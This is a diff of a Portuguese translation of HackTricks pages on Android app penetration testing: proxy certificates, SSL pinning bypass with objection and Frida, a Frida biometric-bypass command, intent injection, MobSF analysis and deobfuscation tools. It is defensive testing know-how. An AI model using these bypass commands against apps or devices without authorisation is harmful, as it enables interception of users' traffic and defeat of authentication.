||||
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, **[clique aqui](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**.
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crucial para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, **[consulte este tutorial](make-apk-accept-ca-certificate.md)**.
|
||||
Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
#### Bypass do SSL Pinning
|
||||
|
||||
Quando o SSL Pinning é implementado, é necessário contorná-lo para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim:
|
||||
Quando o SSL Pinning é implementado, torna-se necessário contorná-lo para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim:
|
||||
|
||||
* Modificar automaticamente o **apk** para **burlar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* **Modificar automaticamente** o **apk** para **burlar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* Você pode usar o **Frida** (discutido abaixo) para burlar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
|
||||
* Se você ainda achar que há algum tráfego que não está capturando, pode tentar **encaminhar o tráfego para o burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
* Se você achar que ainda há tráfego que não está capturando, pode tentar **encaminhar o tráfego para o burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Procurando por Vulnerabilidades Comuns na Web
|
||||
|
||||
|
@ -480,7 +470,7 @@ Também é importante procurar por vulnerabilidades comuns na web dentro do apli
|
|||
Se você deseja fazer pentest em aplicativos Android, precisa saber como usar o Frida.
|
||||
|
||||
* Aprenda a usar o Frida: [**Tutorial do Frida**](frida-tutorial/)
|
||||
* Algumas "GUI" para ações com o Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Algum "GUI" para ações com o Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Você pode encontrar alguns scripts incríveis do Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
|
@ -507,7 +497,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Dados sensíveis no Keystore**
|
||||
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo pode ser capaz de roubar esses dados.
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo poderia roubar esses dados.
|
||||
|
||||
Mesmo que um aplicativo armazene dados no keystore, os dados devem ser criptografados.
|
||||
|
||||
|
@ -527,13 +517,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Imagens de Fundo**
|
||||
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, para que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo para que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
|
||||
No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (observe que é necessário ter acesso root para acessá-lo).
|
||||
|
||||
Os instantâneos geralmente são armazenados em: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
O Android fornece uma maneira de **prevenir a captura de tela definindo o FLAG\_SECURE** como parâmetro de layout. Ao usar essa bandeira, o conteúdo da janela é tratado como seguro, impedindo que ele apareça em capturas de tela ou seja visualizado em displays não seguros.
|
||||
O Android fornece uma maneira de **prevenir a captura de tela definindo o parâmetro de layout FLAG\_SECURE**. Ao usar essa bandeira, o conteúdo da janela é tratado como seguro, impedindo que ele apareça em capturas de tela ou seja visualizado em displays não seguros.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -541,25 +531,26 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
||||
### Injeção de Intenção
|
||||
### Injeção de Intent
|
||||
|
||||
Os desenvolvedores frequentemente criam componentes de proxy como atividades, serviços e receptores de transmissão que lidam com essas Intenções e as passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
Os desenvolvedores frequentemente criam componentes de proxy como atividades, serviços e receptores de transmissão que lidam com essas Intents e as passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
|
||||
O perigo está em permitir que atacantes acionem componentes de aplicativos não exportados ou acessem provedores de conteúdo sensíveis ao desviar essas Intenções. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intenção.
|
||||
O perigo está em permitir que atacantes acionem componentes de aplicativos não exportados ou acessem provedores de conteúdo sensíveis ao desviar essas Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intent.
|
||||
|
||||
### Pontos Essenciais
|
||||
- **Injeção de Intenção** é semelhante ao problema de Redirecionamento Aberto na web.
|
||||
- As explorações envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras.
|
||||
- Pode expor componentes não exportados e provedores de conteúdo a atacantes.
|
||||
- A conversão de URL para `Intent` do `WebView` pode facilitar ações não intencionais.
|
||||
### Principais Pontos
|
||||
|
||||
* **Injeção de Intent** é semelhante ao problema de Redirecionamento Aberto na web.
|
||||
* As explorações envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras.
|
||||
* Pode expor componentes não exportados e provedores de conteúdo a atacantes.
|
||||
* A conversão de URL do `WebView` para `Intent` pode facilitar ações não intencionais.
|
||||
|
||||
### Injeções do Lado do Cliente Android e outros
|
||||
|
||||
Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter cuidado especial com essas vulnerabilidades em um aplicativo Android:
|
||||
|
||||
* **Injeção de SQL:** Ao lidar com consultas dinâmicas ou Provedores de Conteúdo, certifique-se de estar usando consultas parametrizadas.
|
||||
* **Injeção de SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de estar usando consultas parametrizadas.
|
||||
* **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusão de Arquivo Local:** Os WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Cookies eternos:** Em vários casos, quando o aplicativo Android encerra a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
* [**Flag Segura** em cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
|
@ -570,10 +561,10 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
Interaja com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -588,20 +579,21 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
|
||||
![](<../../.gitbook/assets/image (61).png>)
|
||||
|
||||
**Avaliação de vulnerabilidades do aplicativo** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
**Avaliação de vulnerabilidades do aplicativo** usando uma agradável interface web. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) **e Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host do Windows_).\
|
||||
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) e **Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host Windows_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), o MobSF também poderá analisá-lo.
|
||||
|
||||
O MobSF também permite que você faça a **diferença/comparação** da análise e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
O MobSF também permite que você faça a **diferença/comparação** de análises e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
|
||||
### Análise dinâmica assistida com o MobSF
|
||||
|
||||
O **MobSF** também pode ser muito útil para a **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **analisador dinâmico do MobSF** pode:
|
||||
O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF**._
|
||||
|
||||
O analisador dinâmico do **MobSF** pode:
|
||||
|
||||
* **Extrair dados do aplicativo** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando desejar uma captura de tela ou pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
* Capturar **tráfego HTTPS**
|
||||
|
@ -614,21 +606,21 @@ A partir das versões do Android > 5, ele **iniciará automaticamente o Frida**
|
|||
Por padrão, ele também usará alguns Scripts do Frida para **burlar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Iniciar Instrumentação**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Monitor de API ao Vivo**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Iniciar Instrumentação").\
|
||||
O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
Para **iniciar** os testes dinâmicos, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Live API Monitor**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
||||
|
||||
* **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas
|
||||
* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito ruidoso)
|
||||
* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito barulhento)
|
||||
* **Capturar Comparação de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
* **Enumerar Métodos de Classe**: Insira o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
* **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
* **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que por padrão o MobSF rastreia vários métodos interessantes da API do Android.
|
||||
|
||||
Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Iniciar Instrumentação**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
|
@ -644,12 +636,12 @@ receivers
|
|||
**Ferramentas HTTP**
|
||||
|
||||
Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no fundo "**HTTP(S) Traffic**" ou uma visualização mais agradável no fundo verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
|
||||
Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
|
||||
{% hint style="info" %}
|
||||
Após realizar uma análise dinâmica com o MobSF, as configurações do proxy podem estar incorretas e você não poderá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
|
||||
Após realizar uma análise dinâmica com o MobSF, as configurações de proxy podem estar incorretas e você não poderá corrigi-las pela GUI. Você pode corrigir as configurações de proxy fazendo:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
@ -660,7 +652,6 @@ adb shell settings put global http_proxy :0
|
|||
Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta ferramenta usará alguns **Hooks** para informar **o que está acontecendo no aplicativo** enquanto você realiza uma **análise dinâmica**.
|
||||
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
|
||||
|
@ -689,7 +680,7 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
O SUPER é um aplicativo de linha de comando que pode ser usado no Windows, MacOS X e Linux, que analisa arquivos _.apk_ em busca de vulnerabilidades. Ele faz isso descompactando APKs e aplicando uma série de regras para detectar essas vulnerabilidades.
|
||||
O SUPER é uma aplicação de linha de comando que pode ser usada no Windows, MacOS X e Linux, que analisa arquivos _.apk_ em busca de vulnerabilidades. Ele faz isso descomprimindo os APKs e aplicando uma série de regras para detectar essas vulnerabilidades.
|
||||
|
||||
Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisam.
|
||||
|
||||
|
@ -731,9 +722,9 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
**MARA** é um **F**ramework de **R**everse engineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar nos testes de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
**MARA** é um **F**ramework de **R**everse **E**ngineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar no teste de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
|
||||
Ele é capaz de:
|
||||
É capaz de:
|
||||
|
||||
* Extrair código Java e Smali usando diferentes ferramentas
|
||||
* Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
@ -764,7 +755,7 @@ Encontre um guia passo a passo para desofuscar o apk em [https://blog.lexfo.fr/d
|
|||
|
||||
* carregar um recurso como um InputStream;
|
||||
* alimentar o resultado para uma classe herdando de FilterInputStream para descriptografá-lo;
|
||||
* fazer alguma obfuscação inútil para desperdiçar alguns minutos de tempo de um reverser;
|
||||
* fazer alguma obfuscação inútil para desperdiçar alguns minutos de tempo de um reversor;
|
||||
* alimentar o resultado descriptografado para um ZipInputStream para obter um arquivo DEX;
|
||||
* finalmente carregar o DEX resultante como um Recurso usando o método `loadDex`.
|
||||
|
||||
|
@ -772,11 +763,11 @@ Encontre um guia passo a passo para desofuscar o apk em [https://blog.lexfo.fr/d
|
|||
|
||||
**DeGuard reverte o processo de obfuscação realizado por ferramentas de obfuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
|
||||
|
||||
Você pode fazer upload de um APK obfuscado para a plataforma deles.
|
||||
Você pode fazer upload de um APK ofuscado para a plataforma deles.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de obfuscação usado.
|
||||
É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que ele se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de obfuscação usado.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -784,7 +775,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
|||
|
||||
### Manual
|
||||
|
||||
[Leia este tutorial para aprender alguns truques sobre **como desofuscar obfuscação personalizada**](manual-deobfuscation.md)
|
||||
[Leia este tutorial para aprender alguns truques sobre **como reverter obfuscação personalizada**](manual-deobfuscation.md)
|
||||
|
||||
## Laboratórios
|
||||
|
||||
|
@ -808,7 +799,7 @@ AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate qu
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
@ -817,7 +808,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -830,7 +821,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -46,21 +46,21 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
Uma vez que a **máquina terminar de reiniciar**, o certificado do Burp estará em uso por ela!
|
||||
|
||||
## Usando o Magisc
|
||||
## Usando Magisc
|
||||
|
||||
Se você **rootou seu dispositivo com o Magisc** (talvez um emulador) e **não consegue seguir** os **passos anteriores** para instalar o certificado do Burp porque o **sistema de arquivos está somente leitura** e você não pode remontá-lo como gravável, há outra maneira.
|
||||
Se você **rootou seu dispositivo com Magisc** (talvez um emulador), e você **não consegue seguir** os **passos anteriores** para instalar o certificado do Burp porque o **sistema de arquivos é somente leitura** e você não pode remontá-lo como gravável, há outra maneira.
|
||||
|
||||
Explicado neste [**vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8) você precisa:
|
||||
Explicado em [**este vídeo**](https://www.youtube.com/watch?v=qQicUW0svB8) você precisa:
|
||||
|
||||
1. **Instalar um certificado CA**: Apenas **arraste e solte** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
|
||||
1. **Instalar um certificado CA**: Apenas **arraste e solte** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que ele seja armazenado na pasta Downloads e vá para `Instalar um certificado` -> `Certificado CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifique se o certificado foi armazenado corretamente indo para `Credenciais confiáveis` -> `USUÁRIO`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
